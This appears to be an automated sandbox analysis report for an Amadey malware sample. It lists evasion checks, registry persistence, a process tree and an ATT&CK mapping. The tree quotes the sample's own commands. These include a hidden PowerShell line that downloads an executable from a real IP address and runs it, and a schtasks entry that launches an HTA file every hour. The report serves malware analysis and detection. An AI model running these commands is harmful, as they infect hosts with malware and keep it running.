amadey | 79e3c982bccb1dfc82910ab4a93080f1bb98f406e170751f118a6e49a0955e35

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1n70D1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2G6013.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3g46A.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
55	5068	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5068	powershell.exe
1560	powershell.exe
3080	powershell.exe
4544	powershell.exe

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2G6013.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3g46A.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1n70D1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2G6013.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3g46A.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1n70D1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	1n70D1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	4J269S.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 9 IoCs

pid	Process
1192	K5f16.exe
3124	Y3g64.exe
1060	1n70D1.exe
2036	skotes.exe
4948	2G6013.exe
2436	3g46A.exe
3512	4J269S.exe
4352	skotes.exe
4668	skotes.exe

Identifies Wine through registry keys 2 TTPs 6 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Wine	1n70D1.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Wine	2G6013.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Wine	3g46A.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Wine	skotes.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	79e3c982bccb1dfc82910ab4a93080f1bb98f406e170751f118a6e49a0955e35.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	K5f16.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	Y3g64.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
1060	1n70D1.exe
2036	skotes.exe
4948	2G6013.exe
2436	3g46A.exe
4352	skotes.exe
4668	skotes.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	1n70D1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2148	2436	WerFault.exe	96

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Y3g64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1n70D1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2G6013.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3g46A.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4J269S.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	79e3c982bccb1dfc82910ab4a93080f1bb98f406e170751f118a6e49a0955e35.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	K5f16.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	3g46A.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	3g46A.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3548	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2636	schtasks.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1060	1n70D1.exe
1060	1n70D1.exe
2036	skotes.exe
2036	skotes.exe
4948	2G6013.exe
4948	2G6013.exe
2436	3g46A.exe
2436	3g46A.exe
2436	3g46A.exe
2436	3g46A.exe
1560	powershell.exe
1560	powershell.exe
3080	powershell.exe
3080	powershell.exe
4544	powershell.exe
4544	powershell.exe
5068	powershell.exe
5068	powershell.exe
4352	skotes.exe
4352	skotes.exe
4668	skotes.exe
4668	skotes.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1560	powershell.exe
Token: SeDebugPrivilege	3080	powershell.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	5068	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1060	1n70D1.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 4836 wrote to memory of 1192	4836	79e3c982bccb1dfc82910ab4a93080f1bb98f406e170751f118a6e49a0955e35.exe	83
PID 4836 wrote to memory of 1192	4836	79e3c982bccb1dfc82910ab4a93080f1bb98f406e170751f118a6e49a0955e35.exe	83
PID 4836 wrote to memory of 1192	4836	79e3c982bccb1dfc82910ab4a93080f1bb98f406e170751f118a6e49a0955e35.exe	83
PID 1192 wrote to memory of 3124	1192	K5f16.exe	84
PID 1192 wrote to memory of 3124	1192	K5f16.exe	84
PID 1192 wrote to memory of 3124	1192	K5f16.exe	84
PID 3124 wrote to memory of 1060	3124	Y3g64.exe	85
PID 3124 wrote to memory of 1060	3124	Y3g64.exe	85
PID 3124 wrote to memory of 1060	3124	Y3g64.exe	85
PID 1060 wrote to memory of 2036	1060	1n70D1.exe	87
PID 1060 wrote to memory of 2036	1060	1n70D1.exe	87
PID 1060 wrote to memory of 2036	1060	1n70D1.exe	87
PID 3124 wrote to memory of 4948	3124	Y3g64.exe	88
PID 3124 wrote to memory of 4948	3124	Y3g64.exe	88
PID 3124 wrote to memory of 4948	3124	Y3g64.exe	88
PID 1192 wrote to memory of 2436	1192	K5f16.exe	96
PID 1192 wrote to memory of 2436	1192	K5f16.exe	96
PID 1192 wrote to memory of 2436	1192	K5f16.exe	96
PID 4836 wrote to memory of 3512	4836	79e3c982bccb1dfc82910ab4a93080f1bb98f406e170751f118a6e49a0955e35.exe	110
PID 4836 wrote to memory of 3512	4836	79e3c982bccb1dfc82910ab4a93080f1bb98f406e170751f118a6e49a0955e35.exe	110
PID 4836 wrote to memory of 3512	4836	79e3c982bccb1dfc82910ab4a93080f1bb98f406e170751f118a6e49a0955e35.exe	110
PID 3512 wrote to memory of 2092	3512	4J269S.exe	111
PID 3512 wrote to memory of 2092	3512	4J269S.exe	111
PID 2092 wrote to memory of 3548	2092	cmd.exe	115
PID 2092 wrote to memory of 3548	2092	cmd.exe	115
PID 2092 wrote to memory of 3640	2092	cmd.exe	116
PID 2092 wrote to memory of 3640	2092	cmd.exe	116
PID 3640 wrote to memory of 1560	3640	cmd.exe	117
PID 3640 wrote to memory of 1560	3640	cmd.exe	117
PID 2092 wrote to memory of 428	2092	cmd.exe	118
PID 2092 wrote to memory of 428	2092	cmd.exe	118
PID 428 wrote to memory of 3080	428	cmd.exe	119
PID 428 wrote to memory of 3080	428	cmd.exe	119
PID 2092 wrote to memory of 3132	2092	cmd.exe	120
PID 2092 wrote to memory of 3132	2092	cmd.exe	120
PID 3132 wrote to memory of 4544	3132	cmd.exe	121
PID 3132 wrote to memory of 4544	3132	cmd.exe	121
PID 2092 wrote to memory of 2636	2092	cmd.exe	122
PID 2092 wrote to memory of 2636	2092	cmd.exe	122
PID 2092 wrote to memory of 4292	2092	cmd.exe	123
PID 2092 wrote to memory of 4292	2092	cmd.exe	123
PID 4292 wrote to memory of 5068	4292	mshta.exe	124
PID 4292 wrote to memory of 5068	4292	mshta.exe	124

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\79e3c982bccb1dfc82910ab4a93080f1bb98f406e170751f118a6e49a0955e35.exe
"C:\Users\Admin\AppData\Local\Temp\79e3c982bccb1dfc82910ab4a93080f1bb98f406e170751f118a6e49a0955e35.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4836
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\K5f16.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\K5f16.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1192
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Y3g64.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Y3g64.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3124
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1n70D1.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1n70D1.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:1060
    - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2036
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2G6013.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2G6013.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:4948
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3g46A.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3g46A.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:2436
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2436 -s 1572
      4⤵
      Program crash
      PID:2148
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4J269S.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4J269S.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3512
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\97C6.tmp\97C7.tmp\97C8.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4J269S.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2092
  - - C:\Windows\system32\timeout.exe
      timeout /t 2
      4⤵
      Delays execution with timeout.exe
      PID:3548
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3640
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1560
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:428
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3080
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3132
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4544
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "5XJ1EmaOCYG" /tr "mshta \"C:\Temp\GeMlfRE5D.hta\"" /sc minute /mo 60 /ru "Admin" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2636
  - - C:\Windows\system32\mshta.exe
      mshta "C:\Temp\GeMlfRE5D.hta"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4292
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2436 -ip 2436
1⤵
PID:4264

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4352

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion